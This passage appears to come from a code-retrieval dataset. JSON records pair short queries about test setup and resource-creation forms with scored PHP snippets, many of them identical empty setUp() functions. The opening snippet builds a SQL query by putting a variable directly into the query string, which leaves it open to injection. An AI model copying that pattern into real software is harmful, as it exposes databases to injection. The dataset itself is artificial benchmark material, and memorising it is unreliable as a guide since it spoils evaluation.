plataforma WHERE plataforma = '$valor'\");\n\t\t\t$rs = $conn->query($query);\n\t\t\tif(mysqli_num_rows($rs) != 0)\n\t\t\t{\n\t\t\t\twhile($fila = $rs->fetch_assoc())\n\t\t\t\t{\n\t\t\t\t\t$obtencion[$i] = $fila[\"idContenido\"];\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\t//echo \"<br /><br />\";\n\t\t\t\t//var_dump($holi);\n\t\t\t\t//echo \"<br /><br />\";\n\t\t\t\t//echo $holi[\"idContenido\"];\n\t\t\t\t$rs->free();\n\t\t\t}\n\t\t\telse $obtencion=array();\n\t\t}\n\t\t$resultado = array_unique($obtencion);\n\t\treturn $resultado;\n\t}", "title": "" }, { "docid": "338cd125f60522727d14f777477395de", "score": "0.582964", "text": "function filter_by_gestiuni($frmFiltre)\n{\n $gestiuni_ids = array();\n \n if ($frmFiltre['gestiune_id'])\n {\n $gestiuni_ids = $frmFiltre['gestiune_id'];\n }\n \n $objResponse = new xajaxResponse();\n copyResponse($objResponse, load_posuri($gestiuni_ids));\n return $objResponse;\n \n}", "title": "" }, { "docid": "c1f213a1caf27a445892bee346e4c4f0", "score": "0.58162576", "text": "public function index() {\n\n return View('solicitudes.filtro');\n\n\n }", "title": "" } ]
59b42633b64fab802d86d3d0482d558e
Setup before running any test case
[ { "docid": "9d1502740064b5af8c6f0112cb5fa01a", "score": "0.0", "text": "public static function setUpBeforeClass()\n {\n }", "title": "" } ]
[ { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84352607", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84352607", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84352607", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84352607", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8435112", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434914", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.8434618", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84345204", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84345204", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84345204", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.84340215", "text": "protected function setUp() {}", "title": "" }, { "docid": "b53016c53f88acd8aee5288aae9a6699", "score": "0.83826905", "text": "protected function setUp(){}", "title": "" }, { "docid": "1058a42ede52db31478b23066d2246d1", "score": "0.8280169", "text": "protected function setUp() {\n\t\tparent::setUp();\n\t\t$this->results = new Results(\"\");\n\t}", "title": "" }, { "docid": "058a3ceae157c87e019241c5067515e5", "score": "0.8224121", "text": "protected function setUp() { }", "title": "" }, { "docid": "0daddd8a7500a92bf6013d223395a268", "score": "0.82144415", "text": "public function setup() {}", "title": "" }, { "docid": "f169945faff48a3dd60341456f310bf2", "score": "0.8213938", "text": "protected function setUp() {\n\t}", "title": "" }, { "docid": "f169945faff48a3dd60341456f310bf2", "score": "0.8213938", "text": "protected function setUp() {\n\t}", "title": "" }, { "docid": "e827d1f57717e8ae2d54eb799a26f2f8", "score": "0.82021075", "text": "function setUp() {\n\t\t\n\t}", "title": "" }, { "docid": "056b53071654ee43ccd7e932beef616a", "score": "0.81810534", "text": "public function setup(){}", "title": "" }, { "docid": "0c608e2149c92a4748ebf1b87603fbef", "score": "0.81762874", "text": "public function setUp(){}", "title": "" }, { "docid": "5d876868e92d4adebfeaa20c4ae15a6f", "score": "0.8123121", "text": "protected function setUp()\n {}", "title": "" }, { "docid": "5d876868e92d4adebfeaa20c4ae15a6f", "score": "0.8123121", "text": "protected function setUp()\n {}", "title": "" } ]
06b048169d6000dd8f2954c77b1ec598
Show the form for creating a new resource.
[ { "docid": "2a46fdbfc8cb01983bb03691388f0169", "score": "0.0", "text": "public function create()\n {\n //\n }", "title": "" } ]
[ { "docid": "06ec3b32b9b222f39c5dee97c3ecbb36", "score": "0.7939602", "text": "public function create()\n\t{\n\t\treturn view('admin.resource.create');\n\t}", "title": "" }, { "docid": "1e65cd3b7532e9fb4c8629f59550be03", "score": "0.77348596", "text": "public function create()\n\t{\n\t\treturn view('admin.resources.create');\n\t}", "title": "" }, { "docid": "03bfd9797acc7936efbf149267039e5d", "score": "0.7726045", "text": "public function create()\n {\n return view('resource.create');\n }", "title": "" }, { "docid": "03bfd9797acc7936efbf149267039e5d", "score": "0.7726045", "text": "public function create()\n {\n return view('resource.create');\n }", "title": "" }, { "docid": "ffef4ac93b8831ae51d698379f4d9c1b", "score": "0.7683584", "text": "public function create()\n\t{\n\t\treturn view('resources.create');\n\t}", "title": "" }, { "docid": "63ad7fad99855a56a3b8abf3768cf47e", "score": "0.76252455", "text": "public function create()\n {\n return $this->showForm(\"create\");\n }", "title": "" }, { "docid": "139c49a6b5671df4af660eea4515972f", "score": "0.76000184", "text": "public function create()\n {\n return view('resources/form');\n }", "title": "" }, { "docid": "a6c7271eaebfd5b50fc91fc80fb19496", "score": "0.7468642", "text": "public function create()\n\t{\n\t\treturn view('forms.create');\n\t}", "title": "" }, { "docid": "6839a79b61064ed2d6b3c87e3aff015a", "score": "0.74594826", "text": "public function create()\n\t\t{\n\t\t\t\t// redirect to the form for creating a new entry inside the db\n\t\t\t\treturn view('create');\n\t\t}", "title": "" }, { "docid": "c21d88e95f75db4b51a6283406449c62", "score": "0.74483436", "text": "public function create()\n {\n //\n return view('resources.create');\n }", "title": "" }, { "docid": "53d013f46afef2a72260a723badd83b2", "score": "0.7388771", "text": "public function ShowForm() {\n return view('create');\n }", "title": "" }, { "docid": "b8d67d3c176a25f495b53af4d1b3e1a3", "score": "0.7346434", "text": "public function new()\n {\n $this->addBreadcrumb($this->instance, 'new');\n $this->authorize('create', $this->resourceType);\n\n return $this->view('new')\n ->with('type', $this->resourceType)\n ->with('instance', $this->instance)\n ->with('isUpdate', false);\n }", "title": "" }, { "docid": "b02f187b18d57a59d040d78094241c78", "score": "0.7345731", "text": "public function create_new()\n\t{\n\t\treturn View::make('admin.suppliers.create_supplier_form'); \n\t}", "title": "" }, { "docid": "4b843526f491cc00abff867e0dcae2bc", "score": "0.73384523", "text": "public function create()\n {\n $this->authorize('create', $this->getResourceModel());\n\n $class = $this->getResourceModel();\n return view($this->filterCreateView('_resources.create'), $this->filterCreateViewData([\n 'record' => new $class(),\n 'resourceAlias' => $this->getResourceAlias(),\n 'resourceRoutesAlias' => $this->getResourceRoutesAlias(),\n 'resourceTitle' => $this->getResourceTitle(),\n ]));\n }", "title": "" }, { "docid": "9814fd9ae63509e6eb41bf23f7a94615", "score": "0.72809404", "text": "public function create()\n {\n return view('forms.create');\n }", "title": "" }, { "docid": "a80df900a28f26c9116cae9aec9ae74b", "score": "0.7249912", "text": "public function create()\n\t{\n\t\treturn view(\"PO.form\");\n\t}", "title": "" }, { "docid": "6e54ebe7445f04b4e2540c09999df2ed", "score": "0.72492856", "text": "public function create()\n\t{\n\t\treturn view(\"retur-pembelian.form\");\n\t}", "title": "" }, { "docid": "7f97efa8cb776b86e66d91838826ac4e", "score": "0.7242367", "text": "public function create()\n\t{\n\t\treturn View::make('forms.create');\n\t}", "title": "" }, { "docid": "8832246a5df8f4c7afcc8e46925833e8", "score": "0.72391856", "text": "public function create()\n {\n return view(self::VIEW_PATH_NAME . '.form');\n }", "title": "" }, { "docid": "83219f179e8e94a735c68ba031340531", "score": "0.72381353", "text": "public function create()\n {\n // TODO: return view with form\n }", "title": "" }, { "docid": "6cf89a013084a50bc3817996f9e0c883", "score": "0.72137827", "text": "public function actionCreate()\n {\n $this->renderPartial('form', array('scenario'=>'create'), false, true);\n }", "title": "" }, { "docid": "bff0d963f5957fded51be0c1b9cc5b0d", "score": "0.7155875", "text": "public function actionCreate()\r\n {\r\n $resource = new Resource();\r\n $typeResource = TypeResource::find()->all();\r\n \r\n\r\n if ($resource->load(Yii::$app->request->post()) && $resource->save()) {\r\n\r\n return $this->redirect(['view','id' => $resource->id]);\r\n\r\n }\r\n\r\n return $this->render('create',[\r\n 'resource' => $resource,\r\n 'typeResource' => $typeResource\r\n ]);\r\n }", "title": "" }, { "docid": "f94b74924ee0cca1c87e741d9a20dc31", "score": "0.7134281", "text": "public function create() {\n $viewData = $this->getDefaultViewData();\n $viewData[\"mode\"] = \"ADD\";\n $viewData[\"student\"] = new Student();\n\n return view('pages.students.form', $viewData);\n }", "title": "" }, { "docid": "9736289698140cf16452b76256ddbe3c", "score": "0.7130931", "text": "public function create()\n {\n $permissions = PermissionGroup::get();\n $pageTitle = trans(config('dashboard.trans_file').'add_new');\n $submitFormRoute = route('roles.store');\n $submitFormMethod = 'post';\n return view(config('dashboard.resource_folder').$this->controllerResource.'form', compact('permissions', 'pageTitle', 'submitFormRoute', 'submitFormMethod'));\n }", "title": "" }, { "docid": "e1317794bf2d1789fb3df24f34664b93", "score": "0.7128793", "text": "public function create()\n {\n return view('admin.' . $this->obj_name . '.form');\n }", "title": "" }, { "docid": "1d24e602d0fddfe9bed3a8265b26b901", "score": "0.71282464", "text": "protected function newAction()\n {\n return $this->renderForm('new');\n }", "title": "" }, { "docid": "da898f34b0c52bea25c9b79c320b2dda", "score": "0.71265566", "text": "public function create()\n {\n return view('paperforms.create');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.7115823", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.7115823", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.7115823", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.7115823", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "750adc77c36f18c747b430100ee399b2", "score": "0.71142024", "text": "public function create()\n\t{\n\t\treturn view('supir.create');\n\t}", "title": "" }, { "docid": "21b741286121defb618cafb010ad9311", "score": "0.7101134", "text": "public function create()\n {\n return view('admin.crud.edit-new');\n }", "title": "" }, { "docid": "e9b21b0a79fd33b3521e801165da14b6", "score": "0.7100486", "text": "public function create()\n {\n // HTML FORM TO SHOW THE FORM WHERE ROLE CAN BE CREATED\n }", "title": "" }, { "docid": "653c27662115e09b10c289bcc247b0ed", "score": "0.7085353", "text": "public function create()\n {\n return view('backend.Faces.form');\n }", "title": "" }, { "docid": "f95a7ddf5c279983b88920ab48796002", "score": "0.7072651", "text": "public function create()\n {\n return view('asset::Admin/Form');\n }", "title": "" }, { "docid": "44edfc8de23a19733eb2da7dd143c6af", "score": "0.70694786", "text": "public function create()\n {\n return view('backend.pragyansubject.addform');\n }", "title": "" }, { "docid": "aaf039b41e70ea5c5580f174d0a32a5e", "score": "0.7067907", "text": "public function create()\n {\n return view('admin.addnew');\n }", "title": "" }, { "docid": "b5c63b58d384c1cc1e048d0ed39e9059", "score": "0.7060732", "text": "public function create()\n {\n //display the create form of a new item\n return view('items.create_form');\n }", "title": "" }, { "docid": "2564f7e29b410c07eef4654312bbe9bc", "score": "0.70600957", "text": "public function create()\n {\n $data['action'] = 'penjualan.store';\n return view('penjualan.form', $data);\n }", "title": "" }, { "docid": "2a113ccb1bc187d2ab6a5b9b7f32db35", "score": "0.70525956", "text": "public function newAction()\n {\n $this->view->newOrdenForm = new NewOrdenForm(null,array('required'=>''));\n $this->view->clienteForm = new ClienteNewForm(null,array('required'=>''));\n }", "title": "" }, { "docid": "2b3d89889319d795b9c5394468d0ea54", "score": "0.7051978", "text": "public function create()\n {\n return view('frontend.formulir'); \n }", "title": "" }, { "docid": "91cae3ef8fac8cbaf75c5bcaed69ef7a", "score": "0.705028", "text": "public function create()\n {\n return view('perjadin.create');\n }", "title": "" }, { "docid": "bb6992f3db8b85054e34d06ac94efe13", "score": "0.70479137", "text": "public function create()\n {\n return view('fish-mgmt/create');\n }", "title": "" }, { "docid": "c064473eb86d48e72f7ffb601c196ae9", "score": "0.7018668", "text": "public function create()\n {\n //\n return view('Partners/Admin/form');\n }", "title": "" }, { "docid": "66b746538eaf7a550c7b3a12968b96a6", "score": "0.7014723", "text": "public function create()\n {\n return view('supplier.form');\n }", "title": "" }, { "docid": "66b746538eaf7a550c7b3a12968b96a6", "score": "0.7014723", "text": "public function create()\n {\n return view('supplier.form');\n }", "title": "" }, { "docid": "f61bf3a97df7312aaecce2030ad738da", "score": "0.70079523", "text": "public function create(){\n config(['global.icon_content_title' => 'icon-bookmark']);\n config(['global.text_content_title' => 'Add Supplier']);\n config(['global.parent_text_content_title' => 'Suppliers']);\n\n //set submit route\n config(['global.submit_link' => 'store.supplier']);\n //set index route\n config(['global.index_link' => '/suppliers']);\n\n return view('supplier.create');\n }", "title": "" }, { "docid": "64c776e59f1522c2eaee823d173e2039", "score": "0.70042413", "text": "public function create()\n\t{\n\t\treturn view('product.new');\n\t}", "title": "" }, { "docid": "6d8ac76b2319312ec6d7c116d3c07dd5", "score": "0.69991", "text": "public function create()\n {\n return view(\"admin.dokter.form\");\n }", "title": "" }, { "docid": "cd66cdfb79b8372ac27d1bcfeebf98ed", "score": "0.6994159", "text": "public function create()\n\t{\n\t\t// return View::make('avverbi.create');\n\t\treturn View::make('avverbi.edit');\n\t}", "title": "" }, { "docid": "12adf4e56f62b6fd6b2be421f733cdb4", "score": "0.69843066", "text": "public function create()\n {\n return view( 'create' );\n }", "title": "" }, { "docid": "9dcc76daa4540b48df51e0c54a0f942e", "score": "0.69820863", "text": "public function create()\n {\n return view('escola.form');\n }", "title": "" }, { "docid": "b9dcd814df4a67ac3130f45aff38f1ee", "score": "0.6968884", "text": "public function create()\n {\n return view('nbform.create');\n }", "title": "" }, { "docid": "a2b4f48997315d69d4a978b07c86041b", "score": "0.6968576", "text": "public function create()\n {\n return view('jamkerja.add');\n }", "title": "" }, { "docid": "3eabc09401aef2dfb0754b7c694a026f", "score": "0.69633496", "text": "public function create()\n\t{\n\t\treturn View::make('phanhois.create');\n\t}", "title": "" }, { "docid": "9cb057d0f77e53e0cce5708d50a6481b", "score": "0.69623107", "text": "public function create()\n {\n return view('new');\n }", "title": "" }, { "docid": "6e09ea0495ecf33b6615199f96a87dd9", "score": "0.6958037", "text": "public function create()\n {\n return view('inventaris.create');\n }", "title": "" }, { "docid": "12098cfc6ac9ec83d75a978a0c5abde4", "score": "0.6956821", "text": "public function showCreateForm()\n {\n return view('posts.new');\n }", "title": "" }, { "docid": "aaad424e12d96a3efd02522d0acdf881", "score": "0.69563997", "text": "public function create()\n {\n return view('actions.create');\n }", "title": "" }, { "docid": "ea30089b05638deecfcdcc640118738c", "score": "0.69563985", "text": "public function create()\n {\n return view('student.add');\n }", "title": "" }, { "docid": "219163df6bc3d5b0129ff62049e525c0", "score": "0.69500923", "text": "public function create()\n {\n return view('example.form');\n }", "title": "" }, { "docid": "0224b799194fa807284fdd74a5365a99", "score": "0.6949622", "text": "public function create()\n {\n return view('anggota.form');\n }", "title": "" }, { "docid": "e9d5ae41977e28632b79e3a6a94d5e87", "score": "0.6948507", "text": "public function create()\n {\n return view('Add');\n }", "title": "" }, { "docid": "bab776a4c16cf35a4a18dc0e698ea074", "score": "0.6946925", "text": "public function create()\n {\n return view(\"users.create_form\");\n }", "title": "" }, { "docid": "1c5fb8d39758b496bbe1461e2d19ee6b", "score": "0.6941899", "text": "public function newAction()\n {\n $entity = new Rio();\n $form = $this->createCreateForm($entity);\n\n return $this->render('AppBundle:Rio:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "14ece53d5ad54ed8cdddb207f598627a", "score": "0.69381243", "text": "public function create()\n {\n //adicionar\n $professores = Professor::all();\n $action = route('disciplinas.store');\n return view('admin.disciplinas.form', compact('action', 'professores'));\n }", "title": "" }, { "docid": "4dd85a7dd2279e41326acf30c85b837f", "score": "0.6929693", "text": "public function create()\n {\n return view('QuanTriVien.form');\n }", "title": "" }, { "docid": "978bcc6315cbc834f3ebe718240ae1d3", "score": "0.69287735", "text": "public function create()\n {\n return view('actions.create');\n }", "title": "" }, { "docid": "f36ee7fce6062ca5f8a13e9136a3aa5f", "score": "0.6926821", "text": "public function create()\n {\n //\n return view('admin.cars.add');\n }", "title": "" }, { "docid": "c4416390a701ec4941a20dc3ab095a2a", "score": "0.6919134", "text": "public function create()\n\t{\n\t\treturn view('create');\n\t}", "title": "" }, { "docid": "a93a79fd5f85cdfcd02d43c4b981bd37", "score": "0.69177234", "text": "public function create()\n {\n return view('admin.rehber.create');\n\n }", "title": "" }, { "docid": "d08acefd41013b35198e14cd32167263", "score": "0.69131255", "text": "public function create()\n {\n //\n return view('hod.hod_form');\n }", "title": "" }, { "docid": "efa6db85e06a4cb8b256acb0956225d4", "score": "0.69077146", "text": "public function create()\n\t{\n\t\treturn View::make('student.create');\n\t}", "title": "" }, { "docid": "2d2afb827796ab149976949e6f7f1657", "score": "0.69025356", "text": "public function create()\n\t{\n\t\treturn View::make('penilaians.create');\n\t}", "title": "" }, { "docid": "b026faf0a320028862c1ad2d3bb9025a", "score": "0.6895054", "text": "public function create()\n {\n return view('Libro.create');\n }", "title": "" }, { "docid": "aa1b2912cd7ceea8a2b811ee2651b393", "score": "0.68948364", "text": "public function create()\n {\n return view(\"information.create\");\n }", "title": "" }, { "docid": "a097895685f56669e51313d103d810e7", "score": "0.6894099", "text": "public function create()\n {\n return view('sale-cow.form');\n }", "title": "" }, { "docid": "db3a97e80baaa42e7f0f5bbe728a3432", "score": "0.68909055", "text": "public function actionCreate()\n {\n $model = $this->findModel();\n\n $this->saveModel($model);\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "6769fe63e35d4f98abe507728065b246", "score": "0.68902904", "text": "public function create()\r\n {\r\n return view('superadmin::create');\r\n }", "title": "" }, { "docid": "732fe73681252d8413ea359a6e09f8bb", "score": "0.6889926", "text": "public function create()\n {\n //\n return view('cars.new');\n }", "title": "" }, { "docid": "862bc40da984894b74df33cb4c0d4659", "score": "0.68856794", "text": "public function create()\n {\n return view ('anggota-new');\n }", "title": "" }, { "docid": "145cf1b2c8cc73b6dcddfbab958e798f", "score": "0.68843585", "text": "public function create()\n {\n return view('ovhapi::create');\n }", "title": "" }, { "docid": "bfb90be64c471e95e334f369a13f5087", "score": "0.68823695", "text": "public function create()\n {\n //\n return view('Admin.Recom.add');\n }", "title": "" }, { "docid": "61dcb96ea6324e696f199e33bd9faa7f", "score": "0.68777615", "text": "public function create()\n\t{\n\t\t//add new car\n\t\treturn View::make('cars.create');\n\t}", "title": "" }, { "docid": "de77b116e66ae6b2ef708621f63ada16", "score": "0.6877544", "text": "public function create()\n {\n return view('manager.crud.create');\n }", "title": "" }, { "docid": "14cab6c0f95bbfd3db85915cbf823b72", "score": "0.6877025", "text": "public function create()\n\t{\n\t $config = $this->getFormData();\n\n return view('client.create', $config);\n\t}", "title": "" }, { "docid": "9337b2142bbd4240614c97696097e5e6", "score": "0.68764424", "text": "public function create()\n {\n return view( 'form.product', [\n 'isCreate' => true,\n 'categorys' => Category::all(),\n 'title' => 'New Product',\n 'product' => new Product(),\n 'navActive' => 'addProduct',\n ] );\n }", "title": "" }, { "docid": "f0df442854712f9c3ad7e77a1f7f3a88", "score": "0.6874967", "text": "public function create()\n {\n return view(\"cartera.create\");\n }", "title": "" }, { "docid": "a23b6ed7018a2e2dd2c29907dfbe28e0", "score": "0.68740886", "text": "public function create() {\n\t\treturn view( 'backend.career.create' );\n\t}", "title": "" }, { "docid": "15ba46136d8015267c72f493447d645a", "score": "0.6871112", "text": "public function create()\n {\n return view('materiku::create');\n }", "title": "" }, { "docid": "19bc1da827e1cabb7b0a120ffe2b00ed", "score": "0.68703955", "text": "public function create()\n {\n return view('additive/create');\n }", "title": "" }, { "docid": "e82caa6fdd89369a0306a198d2febd53", "score": "0.6865207", "text": "public function actionCreate()\n {\n $model = new ShowWith;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "354e1ae6b1f6e5a63b1294b3c9b61c1c", "score": 